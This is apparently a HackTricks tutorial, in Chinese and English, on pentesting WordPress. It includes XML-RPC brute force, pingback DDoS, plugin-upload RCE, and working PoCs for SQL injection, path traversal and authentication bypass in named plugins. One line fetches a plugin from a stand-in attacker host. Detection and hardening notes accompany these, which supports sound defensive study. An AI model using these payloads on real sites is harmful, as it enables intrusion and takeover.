Wordpress

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

  • Uploaded 文件会被放到: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, 所以如果你修改主题中的某些 php 来获取 RCE,很可能会用到该路径。例如:使用 theme twentytwelve 可以 access 404.php 文件位于: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php 中可以找到数据库的 root 密码。

  • 默认需要检查的登录路径:/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt 包含有用的信息,例如安装的 WordPress 版本。
  • wp-activate.php 在设置新 WordPress 网站时用于电子邮件激活流程。
  • 登录文件夹(可能被重命名以隐藏):
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php 是一个功能文件,允许通过 HTTP 作为传输机制并使用 XML 作为编码机制来传输数据。这种类型的通信已被 WordPress 的 REST API 所取代。
  • wp-content 文件夹是存放 plugins 和 themes 的主要目录。
  • wp-content/uploads/ 是平台上任何上传文件存放的目录。
  • wp-includes/ 该目录保存核心文件,例如证书、字体、JavaScript 文件和 widgets。
  • wp-sitemap.xml 在 Wordpress 5.5 及更高版本中,Worpress 会生成包含所有公开帖子和可公开查询的帖子类型及分类法的 sitemap XML 文件。

Post exploitation

  • wp-config.php 文件包含 WordPress 连接数据库所需的信息,例如数据库名、数据库主机、用户名和密码、身份验证密钥和 salts 以及数据库表前缀。此配置文件还可以用于启用 DEBUG 模式,这在故障排除时非常有用。

用户权限

  • Administrator
  • Editor: 发布并管理他人及自己的帖子
  • Author: 发布并管理自己的帖子
  • Contributor: 编写并管理自己的帖子但不能发布
  • Subscriber: 浏览帖子并编辑其个人资料

Passive Enumeration

Get WordPress version

检查是否能找到文件 /license.txt/readme.html

在页面的 source code 中查看(示例来自 https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS 链接文件

  • JavaScript 文件

获取插件

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

获取主题

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

提取版本(通用)

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

主动枚举

Plugins and Themes

你可能无法找到所有的 Plugins 和 Themes。为了发现所有这些,你需要对一个 Plugins 和 Themes 列表进行主动 Brute Force(幸运的是,我们有包含这些列表的自动化工具)。

用户

  • ID Brute: 你可以通过对 WordPress 站点的用户 ID 进行 Brute Forcing 来获取有效用户:
curl -s -I -X GET http://blog.example.com/?author=1

如果响应为 20030X,则表示该 id 为 有效。如果响应为 400,则该 id 为 无效

  • wp-json: 你也可以尝试通过查询来获取有关用户的信息:
curl http://blog.example.com/wp-json/wp/v2/users

另一个可能泄露一些用户信息的 /wp-json/ 端点是:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. 只会提供启用此功能的用户的信息

Also note that /wp-json/wp/v2/pages could leak IP 地址。

  • Login username enumeration: 在使用 /wp-login.php 登录时,提示信息 会根据所输入的 用户名是否存在不同

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources。(例如,你可以自动化此过程 using this)。

To see if it is active try to access to /xmlrpc.php and send this request:

检查

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategoriesmetaWeblog.getUsersBlogs 是可以用来 brute-force credentials 的一些方法。如果你能找到其中任何一个,你可以发送类似的内容:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

如果凭证无效,200 响应中应出现消息 “Incorrect username or password”

使用正确的凭证你可以上传一个文件。在响应中会出现路径 (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

另外,有一种 更快的方法 可以使用 system.multicall 暴力破解凭证,因为你可以在同一请求中尝试多个凭证:

Bypass 2FA

此方法针对程序而非人为交互,且年代较久,因此不支持 2FA。 所以,如果你有有效的凭证但主入口受 2FA 保护,你可能能够滥用 xmlrpc.php 使用这些凭证登录并绕过 2FA。注意,你无法执行通过控制台能完成的所有操作,但正如 Ippsec 在 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s 中解释的那样,你仍可能获得 RCE。

DDoS or port scanning

如果你能在方法列表中找到 pingback.ping,你可以让 Wordpress 向任意主机/端口发送任意请求。
这可以被用来让 成千上万 的 Wordpress 站点 访问同一 位置(从而在该位置造成 DDoS),或者你可以用它让 Wordpress扫描 某个内部 网络(你可以指定任意端口)。

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

如果你得到 faultCode 的值 大于 0(17),则表示该 port 已开放。

查看上一节中 system.multicall 的用法,了解如何滥用此方法来造成 DDoS。

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

此文件通常存在于 Wordpress 站点的根目录:/wp-cron.php
当访问此文件时,会执行一条“耗费大量资源”的 MySQL 查询,因此可能会被攻击者用来引发 DoS
另外,默认情况下,wp-cron.php 会在每次页面加载时被调用(即任意客户端请求任何 Wordpress 页面时都会触发),在高流量站点上可能导致问题(DoS)。

建议禁用 Wp-Cron,并在主机内创建一个真实的 cronjob,按固定间隔执行所需操作(以避免问题)。

/wp-json/oembed/1.0/proxy - SSRF

尝试访问 https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net,Worpress 站点可能会向你发起请求。

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

该工具检查是否存在 methodName: pingback.ping 和 路径 /wp-json/oembed/1.0/proxy,如果存在则尝试利用它们。

自动化工具

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

通过覆盖一个 bit 获取访问权限

这更多是出于好奇,而不是一次真实的攻击。在 CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man 中,你可以翻转任意 wordpress 文件的 1 个 bit。因此你可以翻转文件 /var/www/html/wp-includes/user.php 的位置 5389,将 NOT (!) 操作变为 NOP。

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

修改所使用主题中的 php(需要 admin credentials)

Appearance → Theme Editor → 404 Template(在右侧)

将内容改为 php shell:

在网上搜索如何访问该已更新的页面。本例中你需要访问: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

你可以使用:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP 插件

可能可以将 .php 文件作为插件上传。
使用例如以下方法创建你的 php 后门:

然后添加一个新插件:

上传插件并点击 Install Now:

Click on Procced:

可能看起来什么都没发生,但如果你进入 Media,你会看到你的 shell 已上传:

访问它,你会看到用以执行 reverse shell 的 URL:

Uploading and activating malicious plugin

此方法涉及安装已知存在漏洞且可被利用以获取 web shell 的恶意插件。通过 WordPress 仪表盘按如下步骤进行:

  1. Plugin Acquisition: 从 Exploit DB 等来源获取插件,例如 here
  2. Plugin Installation:
  • 导航到 WordPress 仪表盘,然后前往 Dashboard > Plugins > Upload Plugin
  • 上传已下载插件的 zip 文件。
  1. Plugin Activation: 插件成功安装后,必须通过仪表盘将其激活。
  2. Exploitation:
  • 将插件 “reflex-gallery” 安装并激活后,可对其进行利用,因为它已知存在漏洞。
  • Metasploit framework 提供了针对该漏洞的 exploit。加载相应模块并执行特定命令后,可以建立 meterpreter 会话,从而获得对站点的未授权访问。
  • 需要注意的是,这只是利用 WordPress 站点的众多方法之一。

内容包括展示在 WordPress 仪表盘中安装并激活插件步骤的图示。但重要的是要注意,未经授权以这种方式利用漏洞是非法且不道德的。此信息应负责任地使用,仅在合法情境下,例如获得明确许可的 penetration testing 中使用。

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

从 XSS 到 RCE

  • WPXStrike: WPXStrike 是一个脚本,旨在将 Cross-Site Scripting (XSS) 漏洞升级为 Remote Code Execution (RCE) 或 WordPress 中的其他严重漏洞。更多信息请查看 this post。它提供对 WordPress 6.X.X、5.X.X 和 4.X.X 版本的支持,并允许:
  • Privilege Escalation: 在 WordPress 中创建一个用户。
  • (RCE) Custom Plugin (backdoor) Upload: 将自定义插件(后门)上传到 WordPress。
  • (RCE) Built-In Plugin Edit: 编辑 WordPress 的内置插件。
  • (RCE) Built-In Theme Edit: 编辑 WordPress 的内置主题。
  • (Custom) Custom Exploits: 针对第三方 WordPress 插件/主题的自定义利用。

后渗透

提取用户名和密码:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

更改 admin 密码:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress 插件 Pentest

攻击面

了解 Wordpress 插件如何暴露功能对于发现其功能上的漏洞至关重要。你可以在下面的要点中看到插件可能暴露功能的方式,以及 this blog post 中的一些有漏洞的插件示例。

  • wp_ajax

插件将函数暴露给用户的方式之一是通过 AJAX handlers。这些处理程序可能包含逻辑、authorization 或 authentication 漏洞。此外,这些函数通常会将 authentication 和 authorization 都基于 Wordpress nonce 的存在,而 任何在 Wordpress 实例中已认证的用户都可能拥有(与其角色无关)。

这些是可以用来在插件中暴露函数的函数:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

使用 nopriv 会使该端点对任何用户可访问(即使是未认证的用户)。

Caution

此外,如果函数只是使用 wp_verify_nonce 来检查用户的授权,该函数仅检查用户是否已登录,通常不会检查用户的角色。因此低权限用户可能能够访问高权限的操作。

  • REST API

也可以通过在 wordpress 中使用 register_rest_route 函数注册 REST API 来暴露函数:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback 是一个回调函数,用于检查给定用户是否被授权调用该 API 方法。

如果使用内置的 __return_true 函数,它将直接跳过用户权限检查。

  • 直接访问 php 文件

当然,Wordpress 使用 PHP,插件内的文件可以被 Web 直接访问。因此,如果某个插件暴露了只需访问该文件即可触发的易受攻击功能,任何用户都可以利用它。

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

一些插件为内部集成或 reverse proxies 实现了“trusted header” 速记,然后使用该 header 为 REST requests 设置当前用户上下文。如果该 header 未被上游组件以加密方式绑定到请求,攻击者可以伪造它并以 administrator 身份访问有权限的 REST routes。

  • 影响:unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (强制用户 ID 为 1,通常是第一个管理员账户。)
  • 被利用的路由:POST /wp-json/wp/v2/users,使用提升的角色数组。

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • 插件将客户端可控的 header 映射到认证状态并跳过能力检查。
  • WordPress core 对此路由期望 create_users 能力;该插件通过直接从 header 设置当前用户上下文来绕过此检查。

Expected success indicators

  • HTTP 201,返回描述已创建用户的 JSON body。
  • wp-admin/users.php 中可见新的 admin 用户。

Detection checklist

  • 使用 grep 搜索 getallheaders(), $_SERVER['HTTP_...'],或读取自定义 header 来设置用户上下文的 vendor SDK(例如 wp_set_current_user(), wp_set_auth_cookie())。
  • 检查 REST 注册,查找缺乏健壮 permission_callback 检查且依赖请求头的特权回调。
  • 查找在只由 header 值门控的 REST 处理程序中使用核心用户管理函数(wp_insert_user, wp_create_user)的情况。

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress 主题和插件经常通过 wp_ajax_wp_ajax_nopriv_ 钩子暴露 AJAX 处理器。当使用 nopriv 变体时,回调将可被未认证访客访问,因此任何敏感操作还必须额外实现:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

此代码片段引入的问题:

  • Unauthenticated access – 注册了 wp_ajax_nopriv_ hook。
  • No nonce / capability check – 任何访客都可以访问该端点。
  • No path sanitisation – 用户控制的 fontfamily 字符串未经过滤就被拼接到文件系统路径上,允许经典的 ../../ traversal。

Exploitation

攻击者可以通过发送单个 HTTP POST 请求删除位于 uploads 基目录以下(通常为 <wp-root>/wp-content/uploads/)的任何文件或目录:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

因为 wp-config.php 位于 uploads 之外,在默认安装中四个 ../ 序列就足够了。删除 wp-config.php 会在下一次访问时强制 WordPress 进入 安装向导,从而实现完整站点接管(攻击者只需提供新的 DB 配置并创建一个 admin 用户)。

其他有影响的目标包括插件/主题的 .php 文件(用于破坏安全插件)或 .htaccess 规则。

检测清单

  • 任何调用文件系统辅助函数(copy(), unlink(), $wp_filesystem->delete() 等)的 add_action( 'wp_ajax_nopriv_...') 回调。
  • 将未清理的用户输入拼接到路径中(查找 $_POST, $_GET, $_REQUEST)。
  • 缺少 check_ajax_referer()current_user_can()/is_user_logged_in()

Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)

许多插件通过在 user meta 中保存原始角色以便稍后恢复,来实现 “view as role” 或临时切换角色的功能。如果恢复路径仅依赖请求参数(例如 $_REQUEST['reset-for'])和插件维护的列表,而没有检查 capabilities 和有效的 nonce,则会导致 vertical privilege escalation。

在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实案例。reset 分支如果在内部数组 $options['viewing_admin_as_role_are'] 中找到 reset-for=<username>,就会基于该项恢复角色,但在删除当前角色并从 user meta _asenha_view_admin_as_original_roles 重新添加保存的角色之前,既没有执行 current_user_can() 检查,也没有进行 nonce 验证:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

为什么会被利用

  • 信任 $_REQUEST['reset-for'] 和一个插件选项,但没有服务器端授权。
  • 如果用户以前在 _asenha_view_admin_as_original_roles 中保存过更高权限并被降级,他们可以通过访问重置路径恢复这些权限。
  • 在某些部署中,任何已认证用户都可以为仍存在于 viewing_admin_as_role_are 的其他用户名触发重置(授权缺陷)。

利用示例

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

在易受攻击的构建中,这会移除当前角色并重新添加保存的原始角色(例如 administrator),effectively escalating privileges。

Detection checklist

  • 查找在 user meta 中持久化“原始角色”的角色切换功能(例如 _asenha_view_admin_as_original_roles)。
  • 识别重置/恢复的路径:
    • $_REQUEST / $_GET / $_POST 读取用户名。
    • 通过 add_role() / remove_role() 修改角色,但没有使用 current_user_can()wp_verify_nonce() / check_admin_referer()
    • 基于插件选项数组(例如 viewing_admin_as_role_are)进行授权,而不是基于执行者的 capabilities。

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

一些插件将用户切换助手挂接到公共 init 钩子,并从客户端可控的 cookie 派生身份。如果代码在没有验证身份、权限和有效 nonce 的情况下调用 wp_set_auth_cookie(),任何未认证的访客都可以强制以任意用户 ID 登录。

典型易受攻击的模式(简化自 Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

为什么可被利用

  • 公共 init 钩子使处理程序可被未认证的用户访问(没有 is_user_logged_in() 保护)。
  • 身份来源于客户端可修改的 cookie(original_user_id)。
  • 直接调用 wp_set_auth_cookie($uid) 会在没有任何权限/nonce 检查的情况下将请求者以该用户登录。

利用(未认证)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

通用 edge/server WAFs 针对常见模式(SQLi、XSS、LFI)进行调整。许多高影响的 WordPress/plugin 漏洞属于应用层特定的逻辑/认证缺陷,除非引擎理解 WordPress 路由和 plugin 语义,否则这些请求看起来像正常流量。

Offensive notes

  • 针对 plugin-specific endpoints 使用 clean payloads:admin-ajax.php?action=...wp-json/<namespace>/<route>、custom file handlers、shortcodes。
  • 先测试 unauth paths(AJAX nopriv、REST 带宽松的 permission_callback、public shortcodes)。默认 payloads 往往无需混淆即可成功。
  • 典型高影响情形:privilege escalation(访问控制失效)、arbitrary file upload/download、LFI、open redirect。

Defensive notes

  • 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层、针对漏洞的虚拟补丁或尽快更新。
  • 在代码中优先使用正向安全检查(capabilities、nonces、严格的输入验证),而非依赖负向的 regex 过滤。

WordPress Protection

Regular Updates

确保 WordPress、plugins 和 themes 已为最新版本。还要确认在 wp-config.php 中启用了自动更新:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

此外,只安装可信的 WordPress 插件和主题

安全插件

其他建议

  • 移除默认 admin 用户
  • 使用 强密码2FA
  • 定期 审查 用户 权限
  • 限制登录尝试次数 以防止 Brute Force 攻击
  • 重命名 wp-admin.php 文件,并仅允许内部或来自特定 IP 地址的访问。

未经认证的 SQL Injection(由于验证不足)(WP Job Portal <= 2.3.2)

WP Job Portal 的招聘插件暴露了一个 savecategory 任务,该任务最终在 modules/category/model.php::validateFormData() 中执行以下存在漏洞的代码:

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

该代码片段引入的问题:

  1. 未消毒的用户输入parentid 直接来自 HTTP 请求。
  2. 在 WHERE 子句中的字符串拼接 – 未使用 is_numeric() / esc_sql() / 预处理语句。
  3. 未认证即可访问 – 尽管该 action 通过 admin-post.php 执行,唯一的校验是 CSRF nonce (wp_verify_nonce()),任何访客都可以从包含短代码 [wpjobportal_my_resumes] 的公开页面获取它。

利用

  1. 获取一个新的 nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. 通过滥用 parentid 注入任意 SQL:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

响应会泄露注入查询的结果或修改数据库,从而证明存在 SQLi。

未认证的任意文件下载 / Path Traversal (WP Job Portal <= 2.3.2)

另一个任务 downloadcustomfile 允许访客通过 path traversal 下载磁盘上的 任意文件。漏洞汇聚点位于 modules/customfield/model.php::downloadCustomUploadedFile()

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name 是攻击者可控并被拼接,未经过过滤。再次说明,唯一的门槛是可以从 resume 页面获取的 CSRF nonce

利用

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

服务器响应包含 wp-config.php 的内容,leaking DB credentials and auth keys。

通过 Social Login AJAX fallback 实现未认证账户接管(Jobmonster Theme <= 4.7.9)

许多 themes/plugins 会通过 admin-ajax.php 暴露 “social login” helpers。如果一个未认证的 AJAX action (wp_ajax_nopriv_...) 在 provider 数据缺失时信任客户端提供的标识符并随后调用 wp_set_auth_cookie(),则会导致完全的认证绕过。

典型的有缺陷的模式(简化)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Why it’s exploitable

  • 通过 admin-ajax.php 可在未认证情况下访问(wp_ajax_nopriv_… action)。
  • 在进行状态更改前没有 nonce 或 capability 检查。
  • 缺少 OAuth/OpenID provider 验证;默认分支会接受攻击者输入。
  • get_user_by(‘email’, $_POST[‘id’]) 后接 wp_set_auth_cookie($uid) 会把请求者认证为任何存在的邮箱地址对应的用户。

Exploitation (unauthenticated)

  • Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email.
  • Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200,响应体为 JSON,类似 {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* 为受害用户设置;随后的请求将被认证。

Finding the action name

  • 检查主题/插件的 social login 代码中是否有 add_action(‘wp_ajax_nopriv_…’, ‘…’) 注册(例如 framework/add-ons/social-login/class-social-login.php)。
  • 在 AJAX 处理程序中 grep 查找 wp_set_auth_cookie(), get_user_by(‘email’, …)。

Detection checklist

  • Web 日志显示未认证的 POST 到 /wp-admin/admin-ajax.php,包含 social-login action 和 id=
  • 200 响应并返回成功 JSON,紧接着来自相同 IP/User-Agent 的已认证流量。

Hardening

  • 不要从客户端输入推断身份。只接受来自已验证 provider token/ID 的 emails/IDs。
  • 即便是登录辅助也要要求 CSRF nonces 和 capability checks;除非绝对必要,否则避免注册 wp_ajax_nopriv_。
  • 在服务器端验证和核实 OAuth/OIDC 响应;拒绝缺失/无效的 providers(不要回退到 POST id)。
  • 考虑暂时禁用 social login,或在边缘进行虚拟修补(阻断易受攻击的 action)直到修复。

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – 铸造一个 connection key 并使用它

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

为何可被利用

  • 敏感的 REST route 仅由低熵的身份证明(username)保护,或缺少 permission_callback
  • 没有 capability 强制检查;生成的 key 被视为通用绕过

检测清单

  • 在插件代码中用 grep 查找 register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • 任何根据请求提供的身份(username/email)发放 tokens/keys 的 route,且未绑定到已认证用户或 capability
  • 查找后续接受该生成 token/key 的 routes,但没有服务端 capability 检查

加固建议

  • 对于任何特权 REST route:要求 permission_callback 强制调用 current_user_can() 来检查所需 capability
  • 不要基于客户端提供的身份生成长期有效的 keys;如有必要,应在认证后发放短期、绑定用户的 tokens,并在使用时重新检查 capability
  • 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以保证),并拒绝满足 !is_user_logged_in() || !current_user_can() 的请求

Nonce gate 滥用 → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3)

Nonces 用于防止 CSRF,而不是用于授权。如果代码把 nonce 验证通过当作放行信号,随后跳过对特权操作(例如 install/activate plugins)的 capability 检查,未认证的攻击者可以满足弱的 nonce 要求并通过安装带后门或脆弱的插件达到 RCE。

  • 易受攻击路径: plugin/install_and_activate
  • 缺陷:nonce 哈希检查薄弱;一旦 nonce “通过” 就没有 current_user_can(‘install_plugins’|‘activate_plugins’) 检查
  • 影响:通过任意插件安装/激活导致完全入侵

PoC(具体形式取决于插件;仅为示例)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Hardening

  • Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
